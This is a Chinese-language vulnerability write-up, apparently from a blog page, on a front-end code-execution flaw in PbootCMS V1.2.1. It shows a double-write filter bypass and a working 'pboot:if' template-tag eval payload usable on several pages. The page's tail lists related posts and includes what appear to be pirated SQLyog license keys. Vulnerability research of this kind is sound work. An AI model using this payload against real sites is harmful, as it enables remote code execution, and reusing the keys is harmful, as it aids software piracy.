基于tp3开发的cms-前台代码执行
内核 thinkphp
PbootCMS-V1.2.1
├─ apps 应用程序
│ ├─ admin 后台模块
│ ├─ api api模块
│ ├─ common 公共模块
│ ├─ home 前台模块
├─ config 配置文件
│ ├─ config.php 配置文件
│ ├─ database.php 数据库配置文件
│ ├─ route.php 用户自定义路由规则
├─ core 框架核心
│ ├─ function 框架公共函数库
│ │ ├─ handle.php 助手函数库1
│ │ ├─ helper.php 助手函数库2
├─ template html模板
├─ admin.php 管理端入口文件
├─ api.php api入口文件
├─ index.php 前端入口文件
找到外部访问的点 进行 $_GET $_POST $_COOKIE 进行数据检测
在core/function 框架公共函数库 我handle.php 助手1 和 helper.php 助手2
会把所有接收的字符串进行处理,将过滤的函数替换为空
这里用双写就可以绕过
Updatexml updaupdatexmltexml
代码执行
通过敏感函数定位,到这里
需要绕过的地方
这里会把 if 标签内的函数 执行位置 判断是否为函数
如果是的话,就为危险 退出,不执行eval
绕过的方法,是function_exists 为 false
eval 是一种语言结构,不是函数
所以在 function_exists 的时候 返回false 进行了绕过。
触发流程
{poot:if(php code)}{/poot:if}
触发该标签即可
php code 要以eval(xxx) 这样来执行
因为判断了 $matches2[1]
这个位置
執行
parserIfLabel
在
parserAfter
跑了
parserAfter
的地方,比如
Index
這裏
我在後台做一個測試
保存,在主頁 直接访问主页测试,可以触发
這是閉合后的
{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if}
没有闭合前
$pattern = '/\{pboot:if\(([^}]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
主要还是配合 正则匹配的规则 然后进行多余的代码闭合 最后可以任意执行代码
{pboot:if(eval($_REQUEST[1]));//)}}{/pboot:if}
代码执行
除了这index之外 about、 list 、search 几处都可以
那么如何前台利用 ~
payload idnex 处 其他几处利用方法相同
{pboot:if(eval($_REQUEST[1]));//)})}}{/pboot:if} 可以看到在源码这一块输出 是没有这个标签的,因为标签的代入,进行了解析,从而执行了代码。
基于tp3开发的cms-前台代码执行的更多相关文章
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 一个简单的基于MINI2440开发板的启动代码
1. S3C2440大概的启动流程(NAND启动): ①设置CPU为SVC模式 ②关闭看门狗 ③屏蔽中断 ④关闭MMU ⑤初始化时钟 ⑥初始化内存(SDRAM) ⑦初始化栈指针(SP, R13) ⑧初 ...
- 一款基于Netty开发的WebSocket服务器
代码地址如下:http://www.demodashi.com/demo/13577.html 一款基于Netty开发的WebSocket服务器 这是一款基于Netty框架开发的服务端,通信协议为We ...
- 前台ajax请求一次,后台代码执行了两次
问题: 后台使用Django,前台发布文章时使用ajax方式,后台执行代码将data数据取出存入数据库 经过排查,是提交按钮type写成了submit,需要写成button,真是 修改后测试 代码执行 ...
- 帝国CMS(EmpireCMS) v7.5后台任意代码执行
帝国CMS(EmpireCMS) v7.5后台任意代码执行 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行. 二 ...
- 基于thinkphp3.2.3开发的CMS内容管理系统 - ThinkPHP框架
基于thinkphp3.2.3开发的CMS内容管理系统 thinkphp版本:3.2.3 功能: --分类栏目管理 --文章管理 --用户管理 --友情链接管理 --系统设置 目前占时这些功能,更多功 ...
- 基于thinkphp3.2.3开发的CMS内容管理系统(二)- Rbac用户权限
基于thinkphp3.2.3开发的CMS内容管理系统 thinkphp版本:3.2.3 功能: --分类栏目管理 --文章管理 --商品管理 --用户管理 --角色管理 --权限管理 --友情链接管 ...
- Discuz! 6.x/7.x 版本 前台任意代码执行漏洞
一.漏洞原理: 由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致Discuz! 6.x/7.x 全局变量防御绕过漏洞. include/global.fun ...
- phpcms前台任意代码执行漏洞(php<5.3)
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.fu ...
随机推荐
- python3(二十四) subClas
""" 继承的多态 """ __author__ = 'shaozhiqi' # -----------------父类---------- ...
- Java14:你需要知道的新特性
基本介绍 2020 年 3 月 17 日,JDK / Java 14 正式 GA(General Available).这是自从 Java 采用六个月一次的发布周期之后的第五次发布. 此版本包含的 J ...
- [编译] 7、在Linux下搭建安卓APP的开发烧写环境(makefile版-gradle版)—— 在Linux上用命令行+VIM开发安卓APP
April 18, 2020 6:54 AM - BEAUTIFULZZZZ 目录 0 前言 1 gradle 安装配置 1.1 卸载系统默认装的gradle 1.2 下载对应版本的二进制文件 1.3 ...
- Fiddler实战之拟2G、3G、4G网络进行弱网测试
至于fidder网络代理设置就不多说了 模拟网速: 1.启动Fiddler,打开菜单栏Rules---Performances---Simulate Modem Speeds这里打开了模拟调节速度 2 ...
- AJ学IOS(24)UI之注册案例
AJ分享,必须精品 先看效果 制作思路 在做这个的时候,首先用stroyboard画出来界面UI,这个很简单,不多说了,然后下一步就是自定义xib做键盘上面的那一栏了,需要自己做xib还有view,详 ...
- Java程序员必备:序列化全方位解析
前言 相信大家日常开发中,经常看到Java对象"implements Serializable".那么,它到底有什么用呢?本文从以下几个角度来解析序列这一块知识点~ 什么是Java ...
- 学习Saleforce | 业内第一份Salesforce学习者数据报告
自从自由侠部落这个Salesforce中文学习平台成立以来,我们接触到了越来越多的Salesforce的学习者,由衷感觉到这个学习生态圈愈发蓬勃发展. 为了了解Salesforce学习者的基本情况.现 ...
- Windows10 下安装SourceTree 跳过注册 Bitbucket
前提:安装Git 下载Windows系统可执行文件SourceTreeSetup-3.1.3.exe 双击安装,会出现如下界面: 关闭这个界面 C:\Users\当前用户文件夹\AppData\Loc ...
- 多线程高并发编程(6) -- Semaphere、Exchanger源码分析
一.Semaphere 1.概念 一个计数信号量.在概念上,信号量维持一组许可证.如果有必要,每个acquire()都会阻塞,直到许可证可用,然后才能使用它.每个release()添加许可证,潜在地释 ...
- SQLyog-证书密钥
* 用户名: + 随意填写 * 秘钥: + b70d7f66-dac2-4462-bf51-c4e9347da763 + ccbfc13e-c31d-42ce-8939-3c7e63ed5417 + ...